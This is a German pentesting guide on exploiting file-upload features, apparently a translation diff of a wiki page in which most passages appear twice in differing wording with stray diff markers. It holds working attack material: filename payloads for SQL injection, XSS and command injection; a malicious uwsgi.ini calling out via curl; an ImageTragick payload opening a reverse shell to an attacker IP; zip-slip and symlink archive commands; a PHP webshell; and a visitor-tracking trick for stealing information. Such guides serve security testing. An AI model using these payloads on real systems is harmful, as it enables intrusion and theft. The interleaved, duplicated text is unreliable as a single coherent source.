1. Laden Sie die **gleiche Datei** **mehrmals** (und gleichzeitig) mit dem **gleichen Namen** hoch.
2. Laden Sie eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**.
3. Laden Sie eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird der Dateiname “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen.
4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS**. (Windows)
5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch. (Windows)
6. Laden Sie eine Datei in **Windows** mit **reservierten** (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
- Versuchen Sie auch, eine **ausführbare Datei** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.
1. Lade die **gleiche Datei** **mehrfach** (und gleichzeitig) mit **dem selben Namen** hoch.
2. Lade eine Datei mit dem **Namen** einer **bereits existierenden Datei** oder eines **Ordners** hoch.
3. Lade eine Datei mit dem Namen `"."`, `".."` oder `"..."` hoch. Zum Beispiel erzeugt in Apache unter **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis "/www/uploads/" speichert, der Dateiname "." eine Datei namens "uploads" im Verzeichnis "/www/".
4. Lade eine Datei hoch, die sich nicht leicht löschen lässt, z. B. **"...:.jpg"** in **NTFS**. (Windows)
5. Lade eine Datei auf **Windows** mit **ungültigen Zeichen** wie `|<>*?”` im Namen hoch. (Windows)
6. Lade eine Datei auf **Windows** mit reservierten (**verbotenen**) Namen wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
- Versuche außerdem, eine ausführbare Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die beim versehentlichen Öffnen durch ein Opfer Code ausführt.
### Besondere Erweiterungstricks
### Spezielle Erweiterungs-Tricks
Wenn Sie versuchen, Dateien auf einen **PHP-Server** hochzuladen, [sehen Sie sich den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Wenn Sie versuchen, Dateien auf einen **ASP-Server** hochzuladen, [sehen Sie sich den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Wenn du Dateien auf einen **PHP server** hochladen willst, [sieh dir den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Wenn du Dateien auf einen **ASP server** hochladen willst, [sieh dir den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Die `.phar`-Dateien sind wie die `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (indem sie mit PHP ausgeführt oder in ein Skript eingebunden werden...)
Die `.phar` Dateien sind wie `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (mit php ausgeführt oder innerhalb eines Scripts inkludiert werden...).
Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren von Dateien** verwendet werden, sodass jemand zu einem bestimmten Zeitpunkt **diese Erweiterung zur Ausführung** zulassen könnte.
Die `.inc` Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren von Dateien** dienen; daher könnte es sein, dass diese Erweiterung an einer Stelle **zur Ausführung erlaubt** wurde.
## **Jetty RCE**
Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, laden Sie die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarten Sie die Shell!
Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, lade die XML-Datei nach `$JETTY_BASE/webapps/` hoch und erwarte die Shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Für eine detaillierte Untersuchung dieser Schwachstelle überprüfen Sie die ursprüngliche Forschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Für eine detaillierte Untersuchung dieser Verwundbarkeit sieh dir die Originalrecherche an: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien verwenden eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(dateiname)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
Remote Command Execution (RCE) vulnerabilities können auf uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu verändern. uWSGI-Konfigurationsdateien verwenden eine spezielle Syntax, die "magische" Variablen, Platzhalter und Operatoren unterstützt. Insbesondere der '@' Operator, eingesetzt als `@(filename)`, ist dafür gedacht, den Inhalt einer Datei einzubinden. Unter den verschiedenen in uWSGI unterstützten Schemes ist das "exec" scheme besonders mächtig, da es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Diese Funktion kann manipuliert werden, um Remote Command Execution oder Arbitrary File Write/Read zu ermöglichen, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
Betrachten Sie das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemas zeigt:
Betrachte das folgende Beispiel einer bösartigen `uwsgi.ini`-Datei, das verschiedene schemes zeigt:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Die Ausführung des Payloads erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst werden kann, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt werden. Die Auto-Reload-Funktion, wenn aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
Die Ausführung des payloads erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Crash oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss für auto-reload konfiguriert sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
Es ist entscheidend, die nachsichtige Natur des Parsens der Konfigurationsdatei von uWSGI zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
Es ist wichtig, die lockere Art der Verarbeitung von uWSGI-Konfigurationsdateien zu verstehen. Konkret kann der besprochene payload in eine Binärdatei (z. B. ein Bild oder PDF) eingefügt werden, was die Angriffsfläche weiter vergrößert.
## **wget File Upload/SSRF Trick**
In einigen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und Sie können die **URL** **angeben**. In diesen Fällen überprüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Diese **Überprüfung kann jedoch umgangen werden.**\
Die **maximale** Länge eines **Dateinamens** in **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Sie können eine Datei mit dem Namen **"A"\*232+".php"+".gif"** **herunterladen**, dieser Dateiname wird die **Überprüfung umgehen** (da in diesem Beispiel **".gif"** eine **gültige** Erweiterung ist), aber `wget` wird die Datei in **"A"\*232+".php"** **umbenennen**.
In einigen Fällen stellt man fest, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und man die **URL** angeben kann. In diesen Fällen prüft der Code möglicherweise, ob die Extension der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings lässt sich **dieser Check umgehen.**\
Die **maximale** Länge eines **Dateinamens** in **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Du kannst eine Datei namens **"A"\*232+".php"+".gif"** herunterladen; dieser Dateiname wird die **Prüfung umgehen** (in diesem Beispiel ist **".gif"** eine **gültige** Erweiterung), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,82 +156,87 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese Überprüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Überprüfung umgeht und wget die umgeleitete Datei mit dem neuen Namen herunterlädt. Dies **funktioniert nicht** **es sei denn**, wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, die in der ursprünglichen URL angegeben ist**.
Beachte, dass **eine andere Option**, die dir vielleicht einfällt, um diese Prüfung zu umgehen, darin besteht, den **HTTP server so umzuleiten, dass er auf eine andere Datei zeigt**, sodass die ursprüngliche URL die Prüfung umgeht und wget dann die umgeleitete Datei mit dem neuen Namen herunterlädt. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, weil **wget die umgeleitete Seite mit dem Namen der Datei aus der ursprünglichen URL herunterladen wird**.
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentestern und Bug-Huntern hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und gründliche Bewertungen von Webanwendungen sicherzustellen.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein mächtiges Tool, das entwickelt wurde, um Pentesters und Bug Hunters beim Testen von file upload-Mechanismen zu unterstützen. Es nutzt verschiedene bug bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und so gründliche Bewertungen von Webanwendungen zu ermöglichen.
## Vom Datei-Upload zu anderen Schwachstellen
### Corrupting upload indices with snprintf quirks (historical)
- Setzen Sie **filename** auf `../../../tmp/lol.png` und versuchen Sie, eine **Pfad Traversierung** zu erreichen.
- Setzen Sie **filename** auf `sleep(10)-- -.jpg` und Sie könnten in der Lage sein, eine **SQL-Injection** zu erreichen.
- Setzen Sie **filename** auf `<svg onload=alert(document.domain)>`, um ein XSS zu erreichen.
- Setzen Sie **filename** auf `; sleep 10;`, um einige Befehlsinjektionen zu testen (mehr [Befehlsinjektions-Tricks hier](../command-injection.md)).
- [**XSS** im Bild (svg) Datei-Upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files)
- Versuchen Sie **verschiedene svg Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet).
- [Berühmte **ImageTrick** Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Wenn Sie **den Webserver anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, einen [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Seite **gespeichert** wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**.
- [**XXE und CORS** Umgehung mit PDF-Adobe Upload](pdf-upload-xxe-and-cors-bypass.md)
- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn Sie PDFs hochladen können, könnten Sie einige PDFs vorbereiten, die beliebiges JS ausführen, gemäß den gegebenen Anweisungen.
- Laden Sie den \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalt hoch, um zu überprüfen, ob der Server ein **Antivirus** hat.
- Überprüfen Sie, ob es eine **Größenbeschränkung** beim Hochladen von Dateien gibt.
Einige veraltete upload handler, die `snprintf()` oder ähnliches verwenden, um multi-file arrays aus einem single-file upload zu bauen, können dazu gebracht werden, die `_FILES`-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidungen im Verhalten von `snprintf()` kann ein sorgfältig gestalteter single upload auf der Serverseite als mehrere indizierte Dateien erscheinen und Logik verwirren, die eine strikte Form annimmt (z. B. als multi-file upload behandelt und unsichere Pfade wählt). Obwohl heute nischenhaft, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älteren Codebasen wieder auf.
Hier ist eine Top-10-Liste von Dingen, die Sie durch Hochladen erreichen können (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
## From File upload to other vulnerabilities
- Setze **filename** auf `../../../tmp/lol.png` und versuche, einen **path traversal** zu erreichen
- Setze **filename** auf `sleep(10)-- -.jpg` und du könntest eine **SQL injection** erreichen
- Setze **filename** auf `<svg onload=alert(document.domain)>` um ein XSS zu erreichen
- Setze **filename** auf `; sleep 10;` um einige command injection-Fälle zu testen (mehr [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Probiere **verschiedene svg payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Wenn du dem web server mitteilen kannst, ein image von einer URL zu holen, könntest du versuchen, ein [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **image** an einem **öffentlichen** Ort gespeichert wird, könntest du auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen jedes Besuchers stehlen**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn du PDFs uploaden kannst, könntest du ein PDF vorbereiten, das beliebiges JS gemäß den gegebenen Anweisungen ausführt.
- Upload des \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalts, um zu prüfen, ob der Server ein **antivirus** hat
- Prüfe, ob es eine **Größenbeschränkung** beim Upload von Dateien gibt
Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV-Injektion
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML-Injektion / XSS / Open Redirect
8. **PNG / JPEG**: Pixel Flood Attack (DoS)
9. **ZIP**: RCE über LFI / DoS
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp-Erweiterung
#### Burp Extension
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magische Header-Bytes
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für andere Dateitypen.
## Zip/Tar-Datei automatisch dekomprimiert hochladen
## Zip/Tar File Automatically decompressed Upload
Wenn Sie eine ZIP-Datei hochladen können, die auf dem Server dekomprimiert wird, können Sie 2 Dinge tun:
Wenn du eine ZIP hochladen kannst, die auf dem Server dekomprimiert wird, kannst du zwei Dinge tun:
### Symlink
Laden Sie einen Link hoch, der weiche Links zu anderen Dateien enthält. Dann, beim Zugriff auf die dekomprimierten Dateien, werden Sie auf die verlinkten Dateien zugreifen.
Upload eines Archives, das soft links zu anderen Dateien enthält; beim Zugriff auf die dekomprimierten Dateien greifst du auf die verlinkten Dateien zu:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Decompress in different folders
### In verschiedene Ordner entpacken
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass dieses Setup möglicherweise vor der Ausführung von OS-Befehlen durch bösartige Datei-Uploads schützt, können die hierarchische Unterstützung für Kompression und die Verzeichnisdurchquerungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht Angreifern, Einschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekompressionsfunktionalität der angegriffenen Anwendung manipulieren.
Die unerwartete Erstellung von Dateien in Verzeichnissen während des Dekomprimierens ist ein erhebliches Problem. Trotz der anfänglichen Annahme, dass diese Konfiguration gegen OS-level command execution durch malicious file uploads schützen könnte, können die hierarchische Kompressionsunterstützung und die directory traversal-Fähigkeiten des ZIP archive format ausgenutzt werden. Dadurch können Angreifer Einschränkungen umgehen und aus sicheren upload directories ausbrechen, indem sie die decompression functionality der angegriffenen Anwendung manipulieren.
Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Dienstprogramm kann wie folgt verwendet werden:
Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Tool kann wie folgt verwendet werden:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Zusätzlich ist der **Symlink-Trick mit evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzuvisieren, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Operation keine Fehler auftritt.
Außerdem ist der **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzugreifen, sollte ein Symlink zu dieser Datei auf Ihrem System erstellt werden. Dadurch treten während der Ausführung von evilarc keine Fehler auf.
Unten ist ein Beispiel für Python-Code, der verwendet wird, um eine bösartige Zip-Datei zu erstellen:
Nachfolgend ein Beispiel für Python-Code, der verwendet wird, um eine bösartige ZIP-Datei zu erstellen:
```python
#!/usr/bin/python
import zipfile
@ -249,9 +254,9 @@ zip.close()
create_zip()
```
**Missbrauch von Kompression für File Spraying**
**Komprimierung zum file spraying missbrauchen**
Für weitere Details **prüfen Sie den Originalbeitrag in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Für weitere Details **siehe den Originalpost unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden.
@ -263,14 +268,14 @@ system($cmd);
}?>
```
2. **File Spraying und Erstellung komprimierter Dateien**: Mehrere Dateien werden erstellt und ein Zip-Archiv wird zusammengestellt, das diese Dateien enthält.
2. **File Spraying und Erstellung eines komprimierten Archivs**: Mehrere Dateien werden erstellt und ein zip-Archiv wird zusammengestellt, das diese Dateien enthält.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien im Zip werden mit vi oder einem Hex-Editor geändert, wobei "xxA" in "../" geändert wird, um Verzeichnisse zu durchlaufen.
3. **Änderung mit Hex-Editor oder vi**: Die Namen der Dateien im Zip werden mit vi oder einem Hex-Editor geändert, wobei "xxA" in "../" geändert wird, um Verzeichnisse zu traversieren.
```bash
:set modifiable
@ -280,38 +285,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Laden Sie diesen Inhalt mit einer Bilddateiendung hoch, um die Schwachstelle auszunutzen **(ImageMagick , 7.0.1-1)** (aus dem [exploit](https://www.exploit-db.com/exploits/39767))
Lade diesen Inhalt mit einer Bild-Dateiendung hoch, um die vulnerability auszunutzen **(ImageMagick, 7.0.1-1)** (aus dem [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Einbetten einer PHP-Shell in PNG
## Einbetten einer PHP Shell in PNG
Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern und Resampling von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle.
Das Einbetten einer PHP Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungs-Operationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` von PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP Shell von diesen Operationen unberührt bleiben kann, ist für bestimmte Anwendungsfälle ein deutlicher Vorteil.
Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenzieller Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungen, findet sich im folgenden Artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Mehr Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot-Dateien
## Polyglot Files
Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; auch Kombinationen wie GIF und JS oder PPT und JS sind möglich.
Polyglot files dienen im Bereich der Cybersicherheit als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig sein können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien beschränken sich nicht auf dieses Paar; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. In verschiedenen Anwendungen ist es gängige Praxis, nur bestimmte Dateitypen für den Upload zuzulassen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen.
Der Hauptnutzen von polyglot files liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien nach Typ filtern. Gängige Praxis in vielen Anwendungen ist es, nur bestimmte Dateitypen zum Hochladen zuzulassen — etwa JPEG, GIF oder DOC — um das Risiko durch potenziell gefährliche Formate (z. B. JS, PHP oder Phar) zu verringern. Ein Polyglot kann jedoch, da er die strukturellen Kriterien mehrerer Dateitypen erfüllt, diese Beschränkungen unauffällig umgehen.
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Uploads eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben für zulässige Erweiterungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um seinen Upload zu garantieren.
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel kann ein Polyglot zwar gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG darstellen, der Erfolg des Uploads hängt jedoch von den Richtlinien der Plattform bezüglich Dateiendungen ab. Wenn das System strikte Vorgaben für erlaubte Extensions hat, reicht die rein strukturelle Dualität eines Polyglot möglicherweise nicht aus, um den Upload sicherzustellen.
Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Mehr Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Hochladen gültiger JSONs wie wenn es PDF wäre
### Upload valid JSONs like if it was PDF
Wie man Dateityp-Erkennungen vermeidet, indem man eine gültige JSON-Datei hochlädt, auch wenn dies nicht erlaubt ist, indem man eine PDF-Datei fälscht (Techniken aus **[diesem Blogbeitrag](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, selbst wenn dies nicht erlaubt ist, indem man sie als PDF fälscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic`-Bibliothek**: Solange die `%PDF`-Magie-Bytes in den ersten 1024 Bytes sind, ist es gültig (Beispiel aus dem Beitrag holen)
- **`pdflib`-Bibliothek**: Fügen Sie ein gefälschtes PDF-Format in ein Feld der JSON ein, sodass die Bibliothek denkt, es sei ein PDF (Beispiel aus dem Beitrag holen)
- **`file`-Binary**: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstellen Sie einfach eine JSON, die größer ist als das, damit sie den Inhalt nicht als JSON parsen kann, und fügen Sie dann in die JSON den Anfangsteil eines echten PDFs ein, und es wird denken, es sei ein PDF.
